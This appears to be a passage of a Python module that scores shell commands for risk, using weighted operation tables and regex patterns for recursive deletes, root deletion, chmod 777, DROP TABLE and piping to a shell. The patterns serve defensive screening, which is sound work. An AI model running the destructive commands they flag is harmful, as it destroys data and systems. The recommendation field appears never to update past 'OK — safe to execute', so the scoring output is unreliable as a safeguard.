# Documentation indicators
|
||||
doc_indicators = [
|
||||
r"example:",
|
||||
r"e\.g\.",
|
||||
r"i\.e\.",
|
||||
r"note:",
|
||||
r"warning:",
|
||||
r"see also:",
|
||||
r"documentation",
|
||||
r"README",
|
||||
r"man page",
|
||||
r"help:",
|
||||
]
|
||||
for indicator in doc_indicators:
|
||||
if re.search(indicator, command, re.IGNORECASE):
|
||||
return "documentation"
|
||||
|
||||
return "execution"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Operation risk classification
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_OPERATION_RISK = {
|
||||
# Destructive operations
|
||||
"rm": 70,
|
||||
"rmdir": 50,
|
||||
"shred": 90,
|
||||
"dd": 60,
|
||||
"mkfs": 95,
|
||||
"fdisk": 85,
|
||||
"wipefs": 90,
|
||||
|
||||
# Permission changes
|
||||
"chmod": 40,
|
||||
"chown": 50,
|
||||
"setfacl": 50,
|
||||
|
||||
# System control
|
||||
"systemctl": 60,
|
||||
"service": 55,
|
||||
"reboot": 90,
|
||||
"shutdown": 90,
|
||||
"halt": 90,
|
||||
"poweroff": 90,
|
||||
|
||||
# Process control
|
||||
"kill": 45,
|
||||
"killall": 55,
|
||||
"pkill": 55,
|
||||
|
||||
# Network
|
||||
"iptables": 70,
|
||||
"ufw": 60,
|
||||
"firewall-cmd": 60,
|
||||
|
||||
# Package management
|
||||
"apt-get": 30,
|
||||
"yum": 30,
|
||||
"dnf": 30,
|
||||
"pacman": 30,
|
||||
"pip": 20,
|
||||
"npm": 15,
|
||||
|
||||
# Git
|
||||
"git reset --hard": 50, "git reset": 30,
|
||||
"git push": 30,
|
||||
"git clean": 45,
|
||||
"git branch": 20,
|
||||
|
||||
# Dangerous pipes
|
||||
"curl": 25,
|
||||
"wget": 25,
|
||||
}
|
||||
|
||||
|
||||
# Read-only operations — low risk even on system paths
|
||||
_READONLY_OPERATIONS = {
|
||||
"cat": 5, "head": 5, "tail": 5, "less": 5, "more": 5,
|
||||
"grep": 5, "find": 10, "ls": 3, "dir": 3, "tree": 3,
|
||||
"file": 3, "stat": 3, "wc": 3, "diff": 5, "md5sum": 5,
|
||||
"sha256sum": 5, "which": 3, "whereis": 3, "type": 3,
|
||||
"readlink": 3, "realpath": 3, "basename": 3, "dirname": 3,
|
||||
}
|
||||
|
||||
|
||||
def get_operation_risk(command: str) -> tuple[int, str]:
|
||||
"""Get the risk score for the operation in a command.
|
||||
|
||||
Returns (risk_score, operation_name).
|
||||
"""
|
||||
cmd_lower = command.lower().strip()
|
||||
|
||||
# Check read-only operations first (low risk regardless of path)
|
||||
for op, score in sorted(_READONLY_OPERATIONS.items(), key=lambda x: -len(x[0])):
|
||||
if cmd_lower.startswith(op + " ") or cmd_lower.startswith(op + "\t") or cmd_lower == op:
|
||||
return score, op
|
||||
|
||||
# Check compound operations
|
||||
for op, score in sorted(_OPERATION_RISK.items(), key=lambda x: -len(x[0])):
|
||||
if cmd_lower.startswith(op) or f" {op}" in cmd_lower:
|
||||
return score, op
|
||||
|
||||
return 20, "unknown"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Risk score calculation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class RiskScore:
|
||||
"""Result of risk scoring for a command."""
|
||||
command: str
|
||||
score: int = 0 # 0-100 risk score
|
||||
tier: str = "SAFE" # SAFE, LOW, MEDIUM, HIGH, CRITICAL
|
||||
factors: List[str] = field(default_factory=list)
|
||||
path_risk: int = 0
|
||||
operation_risk: int = 0
|
||||
context: str = "execution"
|
||||
context_modifier: float = 1.0
|
||||
recommendation: str = ""
|
||||
|
||||
def __post_init__(self):
|
||||
if not self.recommendation:
|
||||
self.recommendation = self._generate_recommendation()
|
||||
|
||||
def _generate_recommendation(self) -> str:
|
||||
if self.tier == "CRITICAL":
|
||||
return "BLOCK — requires explicit user approval"
|
||||
elif self.tier == "HIGH":
|
||||
return "WARN — confirm with user before executing"
|
||||
elif self.tier == "MEDIUM":
|
||||
return "CAUTION — log and proceed with care"
|
||||
elif self.tier == "LOW":
|
||||
return "NOTE — low risk, proceed normally"
|
||||
return "OK — safe to execute"
|
||||
|
||||
|
||||
def score_command_risk(command: str) -> RiskScore:
|
||||
"""Calculate a comprehensive risk score for a command.
|
||||
|
||||
Considers:
|
||||
- Pattern-based detection (existing DANGEROUS_PATTERNS)
|
||||
- Path risk (system paths, user paths, temp paths)
|
||||
- Operation risk (rm vs cat vs echo)
|
||||
- Context (documentation vs execution)
|
||||
"""
|
||||
result = RiskScore(command=command)
|
||||
factors = []
|
||||
|
||||
# 1. Path analysis
|
||||
paths = re.findall(r'[/~$][^\s;&|\'"]*', command)
|
||||
max_path_risk = 0
|
||||
for path in paths:
|
||||
risk, category = classify_path_risk(path)
|
||||
if risk > max_path_risk:
|
||||
max_path_risk = risk
|
||||
if risk >= 50:
|
||||
factors.append(f"path:{category}")
|
||||
result.path_risk = max_path_risk
|
||||
|
||||
# 2. Operation risk
|
||||
op_risk, op_name = get_operation_risk(command)
|
||||
result.operation_risk = op_risk
|
||||
if op_risk >= 40:
|
||||
factors.append(f"operation:{op_name}")
|
||||
|
||||
# 3. Context detection
|
||||
ctx = detect_context(command)
|
||||
result.context = ctx
|
||||
|
||||
# Context modifiers: documentation contexts reduce risk
|
||||
context_modifiers = {
|
||||
"execution": 1.0,
|
||||
"code_block": 0.3,
|
||||
"comment": 0.1,
|
||||
"heredoc_content": 0.5,
|
||||
"documentation": 0.2,
|
||||
}
|
||||
result.context_modifier = context_modifiers.get(ctx, 1.0)
|
||||
|
||||
# 4. Special pattern bonuses
|
||||
destructive_patterns = [
|
||||
(r'\brm\s+-[^s]*r', 20, "recursive_delete"),
|
||||
(r'\brm\s+/', 15, "root_delete"),
|
||||
(r'\bchmod\s+777', 15, "world_writable"),
|
||||
(r'\bDROP\s+TABLE', 25, "sql_drop"),
|
||||
(r'\bDELETE\s+FROM(?!.*WHERE)', 20, "sql_delete_no_where"),
|
||||
(r'\|\s*(ba)?sh\b', 20, "pipe_to_shell"),
|
||||
(r'--force', 10, "force_flag"),
|
||||
(r'--no-preserve-root', 30, "no_preserve_root"),
|
||||
]
|
||||
for pattern, bonus, factor_name in destructive_patterns:
|
||||
if re.search(pattern, command, re.IGNORECASE):
|
||||
result.score += bonus
|
||||
factors.append(factor_name)
|
||||
|
||||
# 5. Calculate final score
|
||||
# Read operations on system paths are safe (just looking, not touching)
|
||||
is_read_op = result.operation_risk <= 10
|
||||
|
||||
if is_read_op:
|
||||
# Read operations: mostly operation risk, path barely matters
|
||||
base_score = result.operation_risk + (result.path_risk * 0.05)
|
||||
elif result.path_risk >= 80:
|
||||
# Write to system path: very dangerous
|
||||
base_score = result.path_risk + (result.operation_risk * 0.5)
|
||||
elif result.path_risk <= 15:
|
||||
# Write to safe path: mostly operation risk
|
||||
base_score = result.path_risk + (result.operation_risk * 0.3)
|
||||
else:
|
||||
# Moderate path: balanced
|
||||
base_score = result.path_risk + (result.operation_risk * 0.4)
|
||||
|
||||
base_score += result.score # pattern bonuses
|
||||
result.score = min(100, int(base_score * result.context_modifier))
|
||||
|
||||
# 6. Determine tier
|
||||
if result.score >= 80:
|
||||
result.tier = "CRITICAL"
|
||||
elif result.score >= 60:
|
||||
result.tier = "HIGH"
|
||||
elif result.score >= 40:
|
||||
result.tier = "MEDIUM"
|
||||
elif result.score >= 20:
|
||||
result.tier = "LOW"
|
||||
else:
|
||||
result.tier = "SAFE"
|
||||
|
||||
result.factors = factors
|
||||
if not result.recommendation:
|
||||
result.recommendation = result._generate_recommendation()
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def compare_commands(cmd1: str, cmd2: str) -> dict:
|
||||
"""Compare risk scores of two commands.
|
||||
|
||||
Useful for showing why "rm temp.txt" is different from "rm /etc/passwd".
|
||||
"""
|
||||
r1 = score_command_risk(cmd1)
|
||||
r2 = score_command_risk(cmd2)
|
||||
return {
|
||||
"command_1": {"command": cmd1, "score": r1.score, "tier": r1.tier},
|
||||
"command_2": {"command": cmd2, "score": r2.score, "tier": r2.tier},
|
||||
"difference": abs(r1.score - r2.score),
|
||||
"riskier": cmd1 if r1.score > r2.score else cmd2,
|
||||
}
|
||||
Reference in New Issue
Block a user